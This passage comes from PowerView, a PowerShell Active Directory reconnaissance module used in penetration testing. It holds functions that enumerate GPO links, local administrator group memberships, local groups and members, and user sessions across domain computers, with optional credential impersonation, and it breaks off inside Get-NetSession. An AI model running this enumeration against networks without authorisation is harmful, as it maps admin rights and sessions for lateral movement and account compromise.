6598 if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
6599 $GPOAdsPaths = @()
6600 if ($SearcherArguments['Properties']) {
6601 $OldProperties = $SearcherArguments['Properties']
6602 }
6603 $SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
6604 $TargetComputerName = $Null
6605
6606 if ($PSBoundParameters['ComputerIdentity']) {
6607 $SearcherArguments['Identity'] = $ComputerIdentity
6608 $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
6609 if(-not $Computer) {
6610 Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
6611 }
6612 $ObjectDN = $Computer.distinguishedname
6613 $TargetComputerName = $Computer.dnshostname
6614 }
6615 else {
6616 $SearcherArguments['Identity'] = $UserIdentity
6617 $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
6618 if(-not $User) {
6619 Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
6620 }
6621 $ObjectDN = $User.distinguishedname
6622 }
6623
6624 # extract all OUs the target user/computer is a part of
6625 $ObjectOUs = @()
6626 $ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
6627 if($_.startswith('OU=')) {
6628 $ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
6629 }
6630 }
6631 Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
6632
6633 if ($ObjectOUs) {
6634 # find all the GPOs linked to the user/computer's OUs
6635 $SearcherArguments.Remove('Properties')
6636 $InheritanceDisabled = $False
6637 ForEach($ObjectOU in $ObjectOUs) {
6638 $SearcherArguments['Identity'] = $ObjectOU
6639 $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
6640 # extract any GPO links for this particular OU the computer is a part of
6641 if ($_.gplink) {
6642 $_.gplink.split('][') | ForEach-Object {
6643 if ($_.startswith('LDAP')) {
6644 $Parts = $_.split(';')
6645 $GpoDN = $Parts[0]
6646 $Enforced = $Parts[1]
6647
6648 if ($InheritanceDisabled) {
6649 # if inheritance has already been disabled and this GPO is set as "enforced"
6650 # then add it, otherwise ignore it
6651 if ($Enforced -eq 2) {
6652 $GpoDN
6653 }
6654 }
6655 else {
6656 # inheritance not marked as disabled yet
6657 $GpoDN
6658 }
6659 }
6660 }
6661 }
6662
6663 # if this OU has GPO inheritence disabled, break so additional OUs aren't processed
6664 if ($_.gpoptions -eq 1) {
6665 $InheritanceDisabled = $True
6666 }
6667 }
6668 }
6669 }
6670
6671 if ($TargetComputerName) {
6672 # find all the GPOs linked to the computer's site
6673 $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
6674 if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
6675 $SearcherArguments['Identity'] = $ComputerSite
6676 $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
6677 if($_.gplink) {
6678 # extract any GPO links for this particular site the computer is a part of
6679 $_.gplink.split('][') | ForEach-Object {
6680 if ($_.startswith('LDAP')) {
6681 $_.split(';')[0]
6682 }
6683 }
6684 }
6685 }
6686 }
6687 }
6688
6689 # find any GPOs linked to the user/computer's domain
6690 $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
6691 $SearcherArguments.Remove('Identity')
6692 $SearcherArguments.Remove('Properties')
6693 $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
6694 $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
6695 if($_.gplink) {
6696 # extract any GPO links for this particular domain the computer is a part of
6697 $_.gplink.split('][') | ForEach-Object {
6698 if ($_.startswith('LDAP')) {
6699 $_.split(';')[0]
6700 }
6701 }
6702 }
6703 }
6704 Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
6705
6706 # restore the old properites to return, if set
6707 if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
6708 else { $SearcherArguments.Remove('Properties') }
6709 $SearcherArguments.Remove('Identity')
6710
6711 $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
6712 # use the gplink as an ADS path to enumerate all GPOs for the computer
6713 $SearcherArguments['SearchBase'] = $_
6714 $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
6715 Get-DomainObject @SearcherArguments | ForEach-Object {
6716 if ($PSBoundParameters['Raw']) {
6717 $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
6718 }
6719 else {
6720 $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
6721 }
6722 $_
6723 }
6724 }
6725 }
6726 else {
6727 $IdentityFilter = ''
6728 $Filter = ''
6729 $Identity | Where-Object {$_} | ForEach-Object {
6730 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
6731 if ($IdentityInstance -match 'LDAP://|^CN=.*') {
6732 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
6733 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
6734 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
6735 # and rebuild the domain searcher
6736 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
6737 Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
6738 $SearcherArguments['Domain'] = $IdentityDomain
6739 $GPOSearcher = Get-DomainSearcher @SearcherArguments
6740 if (-not $GPOSearcher) {
6741 Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
6742 }
6743 }
6744 }
6745 elseif ($IdentityInstance -match '{.*}') {
6746 $IdentityFilter += "(name=$IdentityInstance)"
6747 }
6748 else {
6749 try {
6750 $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
6751 $IdentityFilter += "(objectguid=$GuidByteString)"
6752 }
6753 catch {
6754 $IdentityFilter += "(displayname=$IdentityInstance)"
6755 }
6756 }
6757 }
6758 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
6759 $Filter += "(|$IdentityFilter)"
6760 }
6761
6762 if ($PSBoundParameters['LDAPFilter']) {
6763 Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
6764 $Filter += "$LDAPFilter"
6765 }
6766
6767 $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
6768 Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)"
6769
6770 if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() }
6771 else { $Results = $GPOSearcher.FindAll() }
6772 $Results | Where-Object {$_} | ForEach-Object {
6773 if ($PSBoundParameters['Raw']) {
6774 # return raw result objects
6775 $GPO = $_
6776 $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
6777 }
6778 else {
6779 if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
6780 $GPO = Convert-LDAPProperty -Properties $_.Properties
6781 try {
6782 $GPODN = $GPO.distinguishedname
6783 $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
6784 $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
6785 $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
6786 }
6787 catch {
6788 Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)"
6789 }
6790 }
6791 else {
6792 $GPO = Convert-LDAPProperty -Properties $_.Properties
6793 }
6794 $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
6795 }
6796 $GPO
6797 }
6798 if ($Results) {
6799 try { $Results.dispose() }
6800 catch {
6801 Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_"
6802 }
6803 }
6804 $GPOSearcher.dispose()
6805 }
6806 }
6807 }
6808}
6809
6810function Get-DomainGPOLocalGroup {
6811
6812
6813 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
6814 [OutputType('PowerView.GPOGroup')]
6815 [CmdletBinding()]
6816 Param(
6817 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
6818 [Alias('DistinguishedName', 'SamAccountName', 'Name')]
6819 [String[]]
6820 $Identity,
6821
6822 [Switch]
6823 $ResolveMembersToSIDs,
6824
6825 [ValidateNotNullOrEmpty()]
6826 [String]
6827 $Domain,
6828
6829 [ValidateNotNullOrEmpty()]
6830 [Alias('Filter')]
6831 [String]
6832 $LDAPFilter,
6833
6834 [ValidateNotNullOrEmpty()]
6835 [Alias('ADSPath')]
6836 [String]
6837 $SearchBase,
6838
6839 [ValidateNotNullOrEmpty()]
6840 [Alias('DomainController')]
6841 [String]
6842 $Server,
6843
6844 [ValidateSet('Base', 'OneLevel', 'Subtree')]
6845 [String]
6846 $SearchScope = 'Subtree',
6847
6848 [ValidateRange(1, 10000)]
6849 [Int]
6850 $ResultPageSize = 200,
6851
6852 [ValidateRange(1, 10000)]
6853 [Int]
6854 $ServerTimeLimit,
6855
6856 [Switch]
6857 $Tombstone,
6858
6859 [Management.Automation.PSCredential]
6860 [Management.Automation.CredentialAttribute()]
6861 $Credential = [Management.Automation.PSCredential]::Empty
6862 )
6863
6864 BEGIN {
6865 $SearcherArguments = @{}
6866 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
6867 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
6868 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
6869 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
6870 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
6871 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
6872 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
6873 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
6874 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
6875
6876 $ConvertArguments = @{}
6877 if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain }
6878 if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
6879 if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
6880
6881 $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries
6882 }
6883
6884 PROCESS {
6885 if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
6886
6887 Get-DomainGPO @SearcherArguments | ForEach-Object {
6888 $GPOdisplayName = $_.displayname
6889 $GPOname = $_.name
6890 $GPOPath = $_.gpcfilesyspath
6891
6892 $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" }
6893 if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
6894
6895 # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists
6896 $Inf = Get-GptTmpl @ParseArgs
6897
6898 if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
6899 $Memberships = @{}
6900
6901 # parse the members/memberof fields for each entry
6902 ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
6903 $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()}
6904 # extract out ALL members
6905 $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
6906
6907 if ($PSBoundParameters['ResolveMembersToSIDs']) {
6908 # if the resulting member is username and not a SID, attempt to resolve it
6909 $GroupMembers = @()
6910 ForEach ($Member in $MembershipValue) {
6911 if ($Member -and ($Member.Trim() -ne '')) {
6912 if ($Member -notmatch '^S-1-.*') {
6913 $ConvertToArguments = @{'ObjectName' = $Member}
6914 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
6915 $MemberSID = ConvertTo-SID @ConvertToArguments
6916
6917 if ($MemberSID) {
6918 $GroupMembers += $MemberSID
6919 }
6920 else {
6921 $GroupMembers += $Member
6922 }
6923 }
6924 else {
6925 $GroupMembers += $Member
6926 }
6927 }
6928 }
6929 $MembershipValue = $GroupMembers
6930 }
6931
6932 if (-not $Memberships[$Group]) {
6933 $Memberships[$Group] = @{}
6934 }
6935 if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
6936 $Memberships[$Group].Add($Relation, $MembershipValue)
6937 }
6938
6939 ForEach ($Membership in $Memberships.GetEnumerator()) {
6940 if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
6941 # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
6942 $GroupSID = $Membership.Key.Trim('*')
6943 if ($GroupSID -and ($GroupSID.Trim() -ne '')) {
6944 $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments
6945 }
6946 else {
6947 $GroupName = $False
6948 }
6949 }
6950 else {
6951 $GroupName = $Membership.Key
6952
6953 if ($GroupName -and ($GroupName.Trim() -ne '')) {
6954 if ($Groupname -match 'Administrators') {
6955 $GroupSID = 'S-1-5-32-544'
6956 }
6957 elseif ($Groupname -match 'Remote Desktop') {
6958 $GroupSID = 'S-1-5-32-555'
6959 }
6960 elseif ($Groupname -match 'Guests') {
6961 $GroupSID = 'S-1-5-32-546'
6962 }
6963 elseif ($GroupName.Trim() -ne '') {
6964 $ConvertToArguments = @{'ObjectName' = $Groupname}
6965 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
6966 $GroupSID = ConvertTo-SID @ConvertToArguments
6967 }
6968 else {
6969 $GroupSID = $Null
6970 }
6971 }
6972 }
6973
6974 $GPOGroup = New-Object PSObject
6975 $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
6976 $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
6977 $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
6978 $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
6979 $GPOGroup | Add-Member Noteproperty 'Filters' $Null
6980 $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
6981 $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
6982 $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
6983 $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
6984 $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
6985 $GPOGroup
6986 }
6987 }
6988
6989 # now try to the parse group policy preferences file (Groups.xml) if it exists
6990 $ParseArgs = @{
6991 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
6992 }
6993
6994 Get-GroupsXML @ParseArgs | ForEach-Object {
6995 if ($PSBoundParameters['ResolveMembersToSIDs']) {
6996 $GroupMembers = @()
6997 ForEach ($Member in $_.GroupMembers) {
6998 if ($Member -and ($Member.Trim() -ne '')) {
6999 if ($Member -notmatch '^S-1-.*') {
7000
7001 # if the resulting member is username and not a SID, attempt to resolve it
7002 $ConvertToArguments = @{'ObjectName' = $Groupname}
7003 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
7004 $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member
7005
7006 if ($MemberSID) {
7007 $GroupMembers += $MemberSID
7008 }
7009 else {
7010 $GroupMembers += $Member
7011 }
7012 }
7013 else {
7014 $GroupMembers += $Member
7015 }
7016 }
7017 }
7018 $_.GroupMembers = $GroupMembers
7019 }
7020
7021 $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
7022 $_ | Add-Member Noteproperty 'GPOName' $GPOName
7023 $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
7024 $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
7025 $_
7026 }
7027 }
7028 }
7029}
7030
7031function Get-NetLocalGroup {
7032
7033
7034 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
7035 [OutputType('PowerView.LocalGroup.API')]
7036 [OutputType('PowerView.LocalGroup.WinNT')]
7037 [CmdletBinding()]
7038 Param(
7039 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
7040 [Alias('HostName', 'dnshostname', 'name')]
7041 [ValidateNotNullOrEmpty()]
7042 [String[]]
7043 $ComputerName = $Env:COMPUTERNAME,
7044
7045 [ValidateSet('API', 'WinNT')]
7046 [Alias('CollectionMethod')]
7047 [String]
7048 $Method = 'API',
7049
7050 [Management.Automation.PSCredential]
7051 [Management.Automation.CredentialAttribute()]
7052 $Credential = [Management.Automation.PSCredential]::Empty
7053 )
7054
7055 BEGIN {
7056 if ($PSBoundParameters['Credential']) {
7057 $LogonToken = Invoke-UserImpersonation -Credential $Credential
7058 }
7059 }
7060
7061 PROCESS {
7062 ForEach ($Computer in $ComputerName) {
7063 if ($Method -eq 'API') {
7064 # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information
7065
7066 # arguments for NetLocalGroupEnum
7067 $QueryLevel = 1
7068 $PtrInfo = [IntPtr]::Zero
7069 $EntriesRead = 0
7070 $TotalRead = 0
7071 $ResumeHandle = 0
7072
7073 # get the local user information
7074 $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
7075
7076 # locate the offset of the initial intPtr
7077 $Offset = $PtrInfo.ToInt64()
7078
7079 # 0 = success
7080 if (($Result -eq 0) -and ($Offset -gt 0)) {
7081
7082 # Work out how much to increment the pointer by finding out the size of the structure
7083 $Increment = $LOCALGROUP_INFO_1::GetSize()
7084
7085 # parse all the result structures
7086 for ($i = 0; ($i -lt $EntriesRead); $i++) {
7087 # create a new int ptr at the given offset and cast the pointer as our result structure
7088 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
7089 $Info = $NewIntPtr -as $LOCALGROUP_INFO_1
7090
7091 $Offset = $NewIntPtr.ToInt64()
7092 $Offset += $Increment
7093
7094 $LocalGroup = New-Object PSObject
7095 $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer
7096 $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name
7097 $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment
7098 $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API')
7099 $LocalGroup
7100 }
7101 # free up the result buffer
7102 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
7103 }
7104 else {
7105 Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
7106 }
7107 }
7108 else {
7109 # otherwise we're using the WinNT service provider
7110 $ComputerProvider = [ADSI]"WinNT://$Computer,computer"
7111
7112 $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
7113 $LocalGroup = ([ADSI]$_)
7114 $Group = New-Object PSObject
7115 $Group | Add-Member Noteproperty 'ComputerName' $Computer
7116 $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name'))
7117 $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value)
7118 $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description'))
7119 $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT')
7120 $Group
7121 }
7122 }
7123 }
7124 }
7125
7126 END {
7127 if ($LogonToken) {
7128 Invoke-RevertToSelf -TokenHandle $LogonToken
7129 }
7130 }
7131}
7132
7133function Get-NetLocalGroupMember {
7134
7135 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
7136 [OutputType('PowerView.LocalGroupMember.API')]
7137 [OutputType('PowerView.LocalGroupMember.WinNT')]
7138 Param(
7139 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
7140 [Alias('HostName', 'dnshostname', 'name')]
7141 [ValidateNotNullOrEmpty()]
7142 [String[]]
7143 $ComputerName = $Env:COMPUTERNAME,
7144
7145 [Parameter(ValueFromPipelineByPropertyName = $True)]
7146 [ValidateNotNullOrEmpty()]
7147 [String]
7148 $GroupName = 'Administrators',
7149
7150 [ValidateSet('API', 'WinNT')]
7151 [Alias('CollectionMethod')]
7152 [String]
7153 $Method = 'API',
7154
7155 [Management.Automation.PSCredential]
7156 [Management.Automation.CredentialAttribute()]
7157 $Credential = [Management.Automation.PSCredential]::Empty
7158 )
7159
7160 BEGIN {
7161 if ($PSBoundParameters['Credential']) {
7162 $LogonToken = Invoke-UserImpersonation -Credential $Credential
7163 }
7164 }
7165
7166 PROCESS {
7167 ForEach ($Computer in $ComputerName) {
7168 if ($Method -eq 'API') {
7169 # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information
7170
7171 # arguments for NetLocalGroupGetMembers
7172 $QueryLevel = 2
7173 $PtrInfo = [IntPtr]::Zero
7174 $EntriesRead = 0
7175 $TotalRead = 0
7176 $ResumeHandle = 0
7177
7178 # get the local user information
7179 $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
7180
7181 # locate the offset of the initial intPtr
7182 $Offset = $PtrInfo.ToInt64()
7183
7184 $Members = @()
7185
7186 # 0 = success
7187 if (($Result -eq 0) -and ($Offset -gt 0)) {
7188
7189 # Work out how much to increment the pointer by finding out the size of the structure
7190 $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
7191
7192 # parse all the result structures
7193 for ($i = 0; ($i -lt $EntriesRead); $i++) {
7194 # create a new int ptr at the given offset and cast the pointer as our result structure
7195 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
7196 $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
7197
7198 $Offset = $NewIntPtr.ToInt64()
7199 $Offset += $Increment
7200
7201 $SidString = ''
7202 $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
7203
7204 if ($Result2 -eq 0) {
7205 Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
7206 }
7207 else {
7208 $Member = New-Object PSObject
7209 $Member | Add-Member Noteproperty 'ComputerName' $Computer
7210 $Member | Add-Member Noteproperty 'GroupName' $GroupName
7211 $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname
7212 $Member | Add-Member Noteproperty 'SID' $SidString
7213 $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
7214 $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
7215 $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API')
7216 $Members += $Member
7217 }
7218 }
7219
7220 # free up the result buffer
7221 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
7222
7223 # try to extract out the machine SID by using the -500 account as a reference
7224 $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID
7225 if ($MachineSid) {
7226 $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-'))
7227
7228 $Members | ForEach-Object {
7229 if ($_.SID -match $MachineSid) {
7230 $_ | Add-Member Noteproperty 'IsDomain' $False
7231 }
7232 else {
7233 $_ | Add-Member Noteproperty 'IsDomain' $True
7234 }
7235 }
7236 }
7237 else {
7238 $Members | ForEach-Object {
7239 if ($_.SID -notmatch 'S-1-5-21') {
7240 $_ | Add-Member Noteproperty 'IsDomain' $False
7241 }
7242 else {
7243 $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN'
7244 }
7245 }
7246 }
7247 $Members
7248 }
7249 else {
7250 Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
7251 }
7252 }
7253 else {
7254 # otherwise we're using the WinNT service provider
7255 try {
7256 $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group"
7257
7258 $GroupProvider.psbase.Invoke('Members') | ForEach-Object {
7259
7260 $Member = New-Object PSObject
7261 $Member | Add-Member Noteproperty 'ComputerName' $Computer
7262 $Member | Add-Member Noteproperty 'GroupName' $GroupName
7263
7264 $LocalUser = ([ADSI]$_)
7265 $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '')
7266 $IsGroup = ($LocalUser.SchemaClassName -like 'group')
7267
7268 if(([regex]::Matches($AdsPath, '/')).count -eq 1) {
7269 # DOMAIN\user
7270 $MemberIsDomain = $True
7271 $Name = $AdsPath.Replace('/', '\')
7272 }
7273 else {
7274 # DOMAIN\machine\user
7275 $MemberIsDomain = $False
7276 $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\')
7277 }
7278
7279 $Member | Add-Member Noteproperty 'AccountName' $Name
7280 $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
7281 $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
7282 $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain
7283
7284 # if ($MemberIsDomain) {
7285 # # translate the binary sid to a string
7286 # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
7287 # $Member | Add-Member Noteproperty 'Description' ''
7288 # $Member | Add-Member Noteproperty 'Disabled' ''
7289
7290 # if ($IsGroup) {
7291 # $Member | Add-Member Noteproperty 'LastLogin' ''
7292 # }
7293 # else {
7294 # try {
7295 # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin')
7296 # }
7297 # catch {
7298 # $Member | Add-Member Noteproperty 'LastLogin' ''
7299 # }
7300 # }
7301 # $Member | Add-Member Noteproperty 'PwdLastSet' ''
7302 # $Member | Add-Member Noteproperty 'PwdExpired' ''
7303 # $Member | Add-Member Noteproperty 'UserFlags' ''
7304 # }
7305 # else {
7306 # # translate the binary sid to a string
7307 # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
7308 # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description)
7309
7310 # if ($IsGroup) {
7311 # $Member | Add-Member Noteproperty 'PwdLastSet' ''
7312 # $Member | Add-Member Noteproperty 'PwdExpired' ''
7313 # $Member | Add-Member Noteproperty 'UserFlags' ''
7314 # $Member | Add-Member Noteproperty 'Disabled' ''
7315 # $Member | Add-Member Noteproperty 'LastLogin' ''
7316 # }
7317 # else {
7318 # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
7319 # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
7320 # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
7321 # # UAC flags of 0x2 mean the account is disabled
7322 # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2)
7323 # try {
7324 # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
7325 # }
7326 # catch {
7327 # $Member | Add-Member Noteproperty 'LastLogin' ''
7328 # }
7329 # }
7330 # }
7331
7332 $Member
7333 }
7334 }
7335 catch {
7336 Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_"
7337 }
7338 }
7339 }
7340 }
7341
7342 END {
7343 if ($LogonToken) {
7344 Invoke-RevertToSelf -TokenHandle $LogonToken
7345 }
7346 }
7347}
7348
7349function Get-NetSession {
7350
7351
7352 [OutputType('PowerView.SessionInfo')]
7353 [CmdletBinding()]
7354 Param(
7355 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
7356 [Alias('HostName', 'dnshostname', 'name')]
7357 [ValidateNotNullOrEmpty()]
7358 [String[]]
7359 $ComputerName = 'localhost',
7360
7361 [Management.Automation.PSCredential]
7362 [Management.Automation.CredentialAttribute()]
7363 $Credential = [Management.Automation.PSCredential]::Empty
7364 )
7365
7366 BEGIN {
7367 if ($PSBoundParameters['Credential']) {
7368 $LogonToken = Invoke-UserImpersonation -Credential $Credential
7369 }
7370 }
7371
7372 PROCESS {
7373 ForEach ($Computer in $ComputerName) {
7374 # arguments for NetSessionEnum
7375 $QueryLevel = 10
7376 $PtrInfo = [IntPtr]::Zero
7377 $EntriesRead = 0
7378 $TotalRead = 0
7379 $ResumeHandle = 0
7380
7381 # get session information
7382 $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
7383
7384 # locate the offset of the initial intPtr
7385 $Offset = $PtrInfo.ToInt64()
7386
7387 # 0 = success
7388 if (($Result -eq 0) -and ($Offset -gt 0)) {
7389
7390 # work out how much to increment the pointer by finding out the size of the structure
7391 $Increment = $SESSION_INFO_10::GetSize()
7392
7393 # parse all the result structures
